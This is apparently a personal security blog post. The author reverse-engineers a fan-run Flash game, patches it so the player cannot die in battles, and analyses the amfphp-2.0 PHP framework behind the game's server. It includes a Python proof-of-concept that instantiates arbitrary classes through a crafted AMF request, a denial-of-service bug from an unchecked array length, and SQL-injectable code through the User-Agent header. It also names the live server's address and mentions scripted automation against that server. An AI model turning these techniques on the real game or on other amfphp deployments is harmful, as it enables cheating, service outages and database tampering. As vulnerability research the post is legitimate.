Reversing a 14 year-old Flash game & finding vulnerabilities in a php framework
Lately I’m so lazy and starts playing video games instead of learning new security stuff.
Suddenly, I tried to find 1 of my childhood game called ‘Ninja Saga’, a game on Facebook and apparently now it is closed.
However, there is a small group that tried re-creating the game and renamed it to ‘Ninja Legend’ on https://www.ninjalegends.net/ . So I tried downloading it and play to feel the nostalgia. However, I stumpled on a boss that I couldn’t beat. After 15 minutes trying to beat the boss with no success, I was frustrated ! Hence, as a sane person, I tried to view the source code of the game to see if I can change/mod something of my character to beat the boss.
Notice: this whole blog post is about my experience I had when I tried my first time into game reversing, I did not try to abuse these bugs to gain money or take advantages on any user/groups during the journey. For readers, please use this blog post for educational purpose only.
Decompile the game
Upon opening the game folder, I tried to decompile Ninja Legends.exe
using IDA but found nothing related to the game.
So I tried googling different file extensions inside that folder, one of that is the file NinjaLegends.swf
.
An SWF file is an animation that may contain text, vector and raster graphics, and interactive content written in ActionScript.
Bingo !!! So I quickly google how to decompile swf file because it is a binary file.
Multiple decompilers appeared, but the JPEXS Free Flash Decompiler
was recommended the most on Google.
I downloaded and tried to use JPEXS decompiler
. Overall, it has simple interface and straightforward UX.
My impression is that the decompiled code is not obfuscated and the ActionScript
looks a lot like Typescript
. There is also a Edit ActionScript
button at the bottom that allow us to patch directly into the swf file.
Thus, I looked for codes that is related to the game’s battling system and came accross the function updateHealthBar
and put in a code that updates my current_hp equal to max_hp whenever the game tried to update my character’s health:
public function updateHealthBar() : *
{
var _loc1_:* = this.getMovieClipHolder();
_loc1_.hpBar.scaleX = this.current_hp / this.max_hp;
if(this.player_team == "player" && this.player_number == 0)
{
// This is my code
this.current_hp = this.max_hp;
this.current_cp = this.max_cp;
// End of my code
BattleManager.getBattle()["char_hpcp"].txt_hp.text = this.current_hp + "/" + this.max_hp;
BattleManager.getBattle()["char_hpcp"].txt_cp.text = this.current_cp + "/" + this.max_cp;
BattleManager.getBattle()["char_hpcp"].hpBar.scaleX = this.current_hp / this.max_hp;
BattleManager.getBattle()["char_hpcp"].cpBar.scaleX = this.current_cp / this.max_cp;
}
}
After this, I saved the file and hop into the game to check if my patched code worked or not. And here is the result:
After enemy attacks and when it is my turn, my health and mana automatically reach max again. So if there is no move that could kill me in 1 turn, I’m basically immortal 😁.
And after the battle, the game shows that I have successfully finished the mission and my character’s EXP increase !
Wait a minute, the game didn’t track the battle’s state whether the battle’s state was appropriate or not. If the server checked then it must have alerted the client and the server’s state are out of sync, because my character automatically replenish HP/MP during the fight.
This caught my attention and I tried looking further more into the game itself.
Game’s feature
Before diving into the reversing I want to list out some of the game’s feature.
Character’s Stats
The game took place like in Naruto, where you’re a Ninja and you can learn 1 or 2 types of NinJutsu which are: Wind, Fire, Lightning, Water, Earth. Each level up you can increase 1 stat point, each stat point when allocated boost your character’s strength like below:
Wind - 1 point gives:
- +0.4% Dodge or chance that an attack will miss you.
- +1 Agility. The player with the highest agility will act first.
- +1% Damage bonus to Wind Ninjutsu.
Fire - 1 point gives:
- +0.4% Damage to ALL damaging moves.
- +0.4% chance of Comburstion buff: next attack on next turn will have +30% damage bonus
- +1% Damage bonus to Fire Ninjutsu.
Lightning - 1 point gives:
- +0.4% Critical chance: critical attack deals 150% damage based on the normal damage.
- +0.8% bonus damage to Critical strikes
- +1% Damage bonus to Lightning Ninjutsu.
Water - 1 point gives:
- +30 CP (chakra point)
- +0.4% Purify chance: purify remove all your character’s negative effect.
- +1% Damage bonus to Water Ninjutsu.
Earth - 1 point gives:
- +30 HP
- +0.4% chance to reflect damage back to the attacker (Reactive Force).
- +1% Damage bonus to Earth Ninjutsu.
Missions
-
You can go to mission room and complete missions for EXP.
-
You can challenge daily bosses that drops useful items to craft in
Blacksmith
store. -
There are long-term events, which is also many types of bosses that drops useful items related to the current running event.
-
Online PVP among players.
-
Join clans.
Reversing & breaking the game
In the last section I’ve demonstrated how to become immortal in the battle system. Further code investigation also allow me to:
- Modify dodge / comburstion / critical / purify / reactive force chance
- Modify damage
- Modify inflict status
- Immortal
So basically I’ve done pwning the battle system. Apart from the battling system, the game also maintain server’s state for: user’s money, user’s token (real money P2W), character’s levels, account’s equipments & items, weapon and item drops from monsters, etc.
In order for the game to communicate with the server, it uses 4 different network classes:
ArenaNetwork
:
class ArenaNetwork {
public var TCP_IP:String = "68.183.216.145";
public var TCP_PORT:Number = 6060;
...
}
I don’t see it uses anywhere so let’s skip this
PvpNetwork
:
class PvpNetwork {
public var TCP_IP:String = "68.183.216.145";
public var TCP_PORT:Number = 6060;
...
}
There are some methods that send request and get response from server when we attempt to PVP.
SummerNetwork
:
public class SummerNetwork {
public var TCP_IP:String = "68.183.216.145";
public var TCP_PORT:Number = 7000;
...
}
For the running Summer Event
, that has unique bosses & items drop.
amfConnect
:
import flash.events.NetStatusEvent;
import flash.net.NetConnection;
import flash.net.Responder;
public class AmfManager {
public function service(param1:String, param2:Array, param3:Function) : *
{
new amfConnect().service(param1,param2,param3);
}
}
public class amfConnect
public function service(param1:String, param2:Array, param3:Function) : void
{
this.remotingGateway = "https://playninjalegends.com/amf_nl/";
this.netConnect = new NetConnection();
this.netConnect.connect(this.remotingGateway);
this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
}
This one is interesting, many features of the game uses this class like this:
amf_manager.service("CharacterService.buySkill", ...);
amf_manager.service("BattlePass.executeService", ...);
amf_manager.service("SystemLogin.getAllCharacters", ...);
amf_manager.service("ClanService.executeService", ...);
- Over 30 places use
amf_manager
, so this is the main entrypoint into the game’s server.
The mission room
The main objective to reverse this feature is that I want to auto-complete mission and gain levels as fast as possible.
Below is the decompiled code when we try to do a mission:
this.main.amf_manager = new AmfManager(this);
// I don't know why they named it startFight
internal function startFight(param1:MouseEvent) : *
{
var _loc3_:* = undefined;
var _loc4_:* = undefined;
var _loc5_:* = undefined;
var _loc6_:* = undefined;
var _loc7_:* = undefined;
var _loc8_:* = undefined;
var _loc2_:* = MissionLibrary.getMissionInfo("msn_" + this.curr_target);
Character.mission_level = int(_loc2_["msn_level"]);
if(int(Character.character_lvl) >= int(_loc2_["msn_level"]))
{
_loc3_ = "";
_loc4_ = "";
_loc5_ = StatManager.calculate_stats_with_data("agility",Character.character_lvl,Character.atrrib_earth,Character.atrrib_water,Character.atrrib_wind,Character.atrrib_lightning);
_loc6_ = 0;
while(_loc6_ < _loc2_["msn_enemy"].length)
{
_loc8_ = EnemyInfo.getEnemyStats(_loc2_["msn_enemy"][_loc6_]);
if(_loc3_ == "")
{
_loc3_ = _loc2_["msn_enemy"][_loc6_];
_loc4_ = "id:" + _loc8_["enemy_id"] + "|hp:" + _loc8_["enemy_hp"] + "|agility:" + _loc8_["enemy_agility"];
}
else
{
_loc3_ = _loc3_ + "," + _loc2_["msn_enemy"][_loc6_];
_loc4_ = _loc4_ + "#id:" + _loc8_["enemy_id"] + "|hp:" + _loc8_["enemy_hp"] + "|agility:" + _loc8_["enemy_agility"];
}
_loc6_++;
}
this.main.loading(true);
_loc7_ = CUCSG.hash(_loc3_ + _loc4_ + _loc5_);
this.main.amf_manager.service("BattleSystem.startMission",[Character.char_id,Character.mission_id,_loc3_,_loc4_,_loc5_,_loc7_,Character.sessionkey],this.onStartMissionAmf);
}
_loc2_ = null;
}
For lazy people, basically the code above will call amf_manager.service("BattleSystem.startMission", ARGS)
where ARGS are:
arg[0]
is our character’s character id intoarg[1]
is the mission idarg[2]
andarg[3]
is he enemies’s data which were loaded fromMissionLibrary.getMissionInfo("msn_" + this.curr_target)
arg[4]
is our character’s stat in_loc5_
arg[5]
isCUCSG.hash
calculated from our character’s stat and enemies’ stat. After digging deep into theCUCSG.hash
, it is equivalent to applying sha256 hash and then hexify it.arg[6]
is our user’s session key.
Now I want to analyze how amf_manager.service("BattleSystem.startMission", ARGS);
craft and send request packet, normally I would try to MITM this request through Burpsuite.
The first thing I did was to try searching if I can start the flash program with a proxy server. I got this idea because I have experience in proxying ElectronJS apps, something like: .\ElectronApp.exe --proxy-server=127.0.0.1:1234
. So I thought it is a good idea if we can run the flash program something like: Flash.exe NinjaLegends.swf --proxy=127.0.0.1:1234
, but I couldn’t find anything like that.
Because we can patch the program’s code, so the next thing I did was checking whether the documentation has any feature about proxying request for flash.net.NetConnection
, but sadly it does not support proxy feature.
So I got another idea, instead of MITM the request, maybe I can send that request to another TCP server and try to analyze it. Thus, I patched the class amfConnect
, adding an additional flow:
public class amfConnect
public function service(param1:String, param2:Array, param3:Function, toMyMachine:* = false) : void
{
if(!toMyMachine)
{
this.remotingGateway = "https://playninjalegends.com/amf_nl/";
this.netConnect = new NetConnection();
this.netConnect.connect(this.remotingGateway);
this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
this.service(param1,param2,param3,true);
}
else
{
this.remotingGateway = "http://mylocal.dev:7771/";
this.netConnect = new NetConnection();
this.netConnect.connect(this.remotingGateway);
this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
}
}
The above modification still allow the game to behave like nothing happened, because toMyMachine
is default to be false
, and then after the game has sent the request to https://playninjalegends.com/amf_nl/
, it also send the same request into http://mylocal.dev:7771
for further analysis.
Then, I update C:\Windows\System32\drivers\etc\hosts
and point mylocal.dev
into my linux machine IP. Inside the Linux, I only need to do a netcat
listen, below is the result when I open the game.
Nice, we receive the request. Then, I tried messing with the request’s bytes, and I found something weird popped up:
I also found that by changing the User-Agent
to AdobeAIR/50.2
, and navigate to https://playninjalegends.com/amf_nl/
, we could see:
Pressing the source code button, it navigate us to https://github.com/silexlabs/amfphp-2.0.
Nice, now we have the source code of the server, we can look for server-side vulnerability and try gaining access to the server.
Analyzing amfphp-2.0
I clone the git repo and tried to setup a docker image with a xdebug to debug in VSCode. Note that the below analysis is for gaining RCE for https://playninjalegends.com/amf_nl/ which correspond to the folder https://github.com/silexlabs/amfphp-2.0/tree/master/Amfphp , I tried to navigate to other route like BackOffice
, Examples
, AmfphpFlexUnit
but got no luck.
Below is how amfphp-2.0 receive and process the request:
First, the data we sent to the Ninja Legend server was received at this file:
$gateway = Amfphp_Core_HttpRequestGatewayFactory::createGateway();
$gateway->service();
$gateway->output();
Then, Amfphp_Core_HttpRequestGatewayFactory::createGateway()
load user’s HTTP request from $_GET
, $_POST
, and file_get_contents('php://input');
at this file:
class Amfphp_Core_HttpRequestGatewayFactory {
static protected function getRawPostData(){
return file_get_contents('php://input');
}
static public function createGateway(Amfphp_Core_Config $config = null){
$contentType = null;
if(isset ($_GET['contentType'])){
$contentType = $_GET['contentType'];
}else if(isset ($_SERVER['CONTENT_TYPE'])){
$contentType = $_SERVER['CONTENT_TYPE'];
}
$rawInputData = self::getRawPostData();
return new Amfphp_Core_Gateway($_GET, $_POST, $rawInputData, $contentType, $config);
}
}
Then, the code will reach this enormous function. However, the main points are:
- First, it check the contentType of the request and spawn the appropriate Deserializer class. Currently the framework supports 3 type of contentType:
application/x-www-form-urlencoded
,application/json
,application/x-amf
. - Second, it will deserialize the request based on the contentType, if it is
application/x-www-form-urlencoded
orapplication/json
the server just use a simple json_decode to decode the message. However, forapplication/x-amf
it’s more complicated, I will cover this up later. - Third, after it has done deserialized the request, it will pass the deserialized object into a service and process our message.
- Our request is deserialized into the following form when written in JSON:
$deserializedObject = {
"serviceName": "TestService",
"methodName": "testMethod",
"parameters": [arg0, arg1, arg2, ...]
}
Then, the $deserializedObject
will be handled here:
public function executeServiceCall($serviceName, $methodName, array $parameters) {
$unfilteredServiceObject = $this->getServiceObject($serviceName);
$serviceObject = Amfphp_Core_FilterManager::getInstance()->callFilters(
self::FILTER_SERVICE_OBJECT,
$unfilteredServiceObject,
$serviceName,
$methodName,
$parameters,
);
...
return call_user_func_array(array($serviceObject, $methodName), $parameters);
}
public function getServiceObject($serviceName) {
return self::getServiceObjectStatically($serviceName, $this->serviceFolders);
}
public static function getServiceObjectStatically($serviceName, array $serviceFolders) {
...
$serviceObject = null;
$temp = str_replace('.', '/', $serviceName);
$serviceNameWithSlashes = str_replace('__', '/', $temp);
$serviceIncludePath = $serviceNameWithSlashes . '.php';
$exploded = explode('/', $serviceNameWithSlashes);
$className = $exploded[count($exploded) - 1];
//no class find info. try to look in the folders
foreach ($serviceFolders as $folder) {
$folderPath = NULL;
$rootNamespace = NULL;
if(is_array($folder)){
$rootNamespace = $folder[1];
$folderPath = $folder[0];
} else {
$folderPath = $folder;
}
$servicePath = $folderPath . $serviceIncludePath;
if (file_exists($servicePath)) {
require_once $servicePath;
if ($rootNamespace == NULL){
$serviceObject = new $className();
} else {
$namespacedClassName = $rootNamespace . '\\' . str_replace('/', '\\', $serviceNameWithSlashes);
$serviceObject = new $namespacedClassName;
}
}
}
return $serviceObject;
}
For example when $serviceName = "TestService", $methodName = "testMethod";
, the flow of the 3 functions above is:
- First, function
getServiceObjectStatically
will try to find if there is a file at/Amfphp/Services/TestService.php
, then it will initialize the class object at$serviceObject = new $className();
inside theTestService.php
file. - Second, in function
executeServiceCall
willcall_user_func_array(array($serviceObject, $methodName), $parameters)
, which execute the functiontestMethod
with our input parameters.
Luckily the amfphp-2.0 has an ExampleService.php
that we can mimic this behavior at https://github.com/silexlabs/amfphp-2.0/blob/master/Amfphp/Services/ExampleService.php . The image below demonstrate how I invoke the returnSum
using application/json
contentType:
Notice that the server has filtered the dot character ‘.’ at $temp = str_replace('.', '/', $serviceName)
so I cannot path traversal the serviceName
to gain RCE 😓.
Going back to the game
Thus, now I can write python script to automate the process of doing missions and completing missions. Below are 2 requests to do the mission and to complete the mission:
Start mission
Finish mission
Thus, now I can automate anything using scripts, which is quite powerful. Now I could try finding bugs like SQL injections and stuff but I decided to stop because it would be illegal 😗.
Thus, I continue to dig deep into the amfphp-2.0
to see if there is any vulnerabilities for me to gain RCE.
Back to the application/x-amf deserialization
Inside the deserialization of application/x-amf
, it will traverse bytes-to-bytes in the HTTP request’s body, the full implementation can be found here, below is a short explanation of mine:
// Initialize
$this->currentByte = 0;
protected function readByte() {
return ord($this->rawData[$this->currentByte++]); // return the next byte
}
$type = $this->readByte();
public function readData($type) {
switch ($type) {
//amf3 is now most common, so start with that
case 0x11: //Amf3-specific
return $this->readAmf3Data();
break;
case 0: // number
return $this->readDouble();
case 1: // boolean
return $this->readByte() == 1;
case 2: // string
return $this->readUTF();
case 3: // object Object
return $this->readObject();
//ignore movie clip
case 5: // null
return null;
case 6: // undefined
return new Amfphp_Core_Amf_Types_Undefined();
case 7: // Circular references are returned here
return $this->readReference();
case 8: // mixed array with numeric and string keys
return $this->readMixedArray();
case 9: //object end. not worth , TODO maybe some integrity checking
return null;
case 0X0A: // array
return $this->readArray();
case 0X0B: // date
return $this->readDate();
case 0X0C: // string, strlen(string) > 2^16
return $this->readLongUTF();
case 0X0D: // mainly internal AS objects
return null;
//ignore recordset
case 0X0F: // XML
return $this->readXml();
case 0x10: // Custom Class
return $this->readCustomClass();
default: // unknown case
throw new Amfphp_Core_Exception("Found unhandled type with code: $type");
exit();
break;
}
return $data;
}
protected function readAmf3Data() { ... }
protected function readDouble() { ... }
protected function readUTF() { ... }
protected function readObject() { ... }
protected function readArray() { ... }
protected function readDate() { ... }
protected function readLongUTF() { ... }
protected function readXml() { ... }
protected function readCustomClass() { ... }
Below are some bugs that I found when it deserialize with the x-amf
format:
1) Denial of service via parsing array length:
In the readArray function:
protected function readArray() {
$ret = array(); // init the array object
$this->amf0storedObjects[] = & $ret;
$length = $this->readLong(); // get the length of the array
for ($i = 0; $i < $length; $i++) { // loop over all of the elements in the data
$type = $this->readByte(); // grab the type for each element
$ret[] = $this->readData($type); // grab each element
}
return $ret; // return the data
}
First it read the array length using readLong
, which is 4 bytes, and then it tries to for loop through the array. The user input length could be 4 billion and exhaust the server’s CPU when sending multiple concurrent requests
2) PHP Arbitrary Object Instantiations in default setup
In the readCustomClass function:
protected function readCustomClass() {
//not really sure why the replace is here? A.S. 201310
$typeIdentifier = str_replace('..', '', $this->readUTF());
$obj = $this->resolveType($typeIdentifier);
$this->amf0storedObjects[] = & $obj;
$key = $this->readUTF(); // grab the key
for ($type = $this->readByte(); $type != 9; $type = $this->readByte()) {
$val = $this->readData($type); // grab the value
$obj->$key = $val; // save the name/value pair in the array
$key = $this->readUTF(); // get the next name
}
return $obj;
}
The user input flows into $typeIdentifier
variable as a string via readUTF
function. Then, $typeIdentifier
if passed into $this->resolveType($typeIdentifier);
. After that, in the default setup of amfphp-2.0
, it will lead to the file AmfphpVoConverter.php as the variable $voName
, which then gets:
public function getNewVoInstance($voName) {
$fullyQualifiedClassName = $voName;
...
if (class_exists($fullyQualifiedClassName, false)) {
$vo = new $fullyQualifiedClassName();
return $vo;
} ...
Thus, user can Instantiate any class that existed in the system. The below PoC shows how it is done:
f = open("f.txt", "wb")
def genInt(num: int):
return num.to_bytes(2, 'big')
def genLong(num: int):
return num.to_bytes(4, 'big')
def genUtf8(text):
l = len(text)
return l.to_bytes(2, 'big') + text
def pad(len: int):
return b'a'*len
# header
payload = b"\x00\x03" + genInt(1)
payload += genUtf8(b'Credentials') # header name
payload += b'\x01' + pad(4) # required and pad
payload += b'\x10' # type customClass
payload += genUtf8(b'stdClass')
payload += genUtf8(b'userid')
payload += b'\x02' + genUtf8(b'admin') + genUtf8(b'password')
payload += b'\x02' + genUtf8(b'password') + genUtf8(b'dump_key')
payload += b'\x09'
# message, 1 messages
payload += genInt(1)
payload += genUtf8(b'ExampleService.returnOneParam')
payload += genUtf8(b'response') + pad(4)
# This will cause server to call new PDO();
# which is error because it should have 1 param into the constructor
payload += b'\x0A' + genLong(1) + b'\x10' + genUtf8(b'PDO') + genUtf8(b'dump_key') + b'\x09'
f.write(payload)
f.close()
import os
os.system('curl -XPOST -H "Content-Type: application/x-amf" http://localhost:7771/Amfphp/ --data-binary "@f.txt" -x http://192.168.1.10:8080')
The server response:
3) INSERT INTO SQL injection in amfphp_updates.php
This vulnerability does not related to the Ninja Saga game but related to the amfphp-2.0 repository, so the scenario is that what would happen if the server admin mistakenly host the whole amfphp-2.0 repository ?
The SQL injection location is at: https://github.com/silexlabs/amfphp-2.0/blob/master/amfphp_updates.php#L21-L48
$dataToGetFromApache = array("GEOIP_COUNTRY_CODE", "GEOIP_COUNTRY_NAME", "GEOIP_REGION", "GEOIP_CITY", "GEOIP_DMA_CODE", "GEOIP_AREA_CODE", "HTTP_USER_AGENT", "HTTP_ACCEPT", "HTTP_ACCEPT_LANGUAGE", "HTTP_ACCEPT_ENCODING", "HTTP_ACCEPT_CHARSET", "REMOTE_ADDR");
$sqlConnection = mysql_connect(AMFPHP_DB_HOST,AMFPHP_DB_NAME, AMFPHP_DB_PASS);
mysql_set_charset("utf8");
if(!$sqlConnection){
$mess = "result=error:" . mysql_error()."- request id:$request_id";
throw new Exception($mess);
}
if(!mysql_select_db(AMFPHP_DB_TABLE, $sqlConnection)){
$mess = "result=error:" . mysql_error()."- request id:$request_id";
throw new Exception($mess);
}
$setString = "";
foreach($dataToGetFromApache as $infoType){
if(isset($_SERVER[$infoType])){
$setString = $setString . ", " . $infoType . " = '" . $_SERVER[$infoType] . "'";
}
}
if(isset($_GET["backlink"])){
$setString .= ", backlink = '" . mysql_real_escape_string($_GET["backlink"]) . "'";
}
//trim first ", "
$setString = substr($setString, 2);
$query = "INSERT INTO amfphp_updates_log SET " . $setString;
$ret = mysql_query($query, $sqlConnection);
Basically it read $_SERVER['HTTP_USER_AGENT']
and concatenate string into $query = "INSERT INTO amfphp_updates_log SET " . $setString;
so we can trigger a SQL injection of INSERT keyword.
Last words
Even though I couldn’t find a RCE vulnerability in amfphp-2.0
, it was a fun journey. This journey cost me a week, including writing out this blog post.
Thank you for reading and happy hacking !!!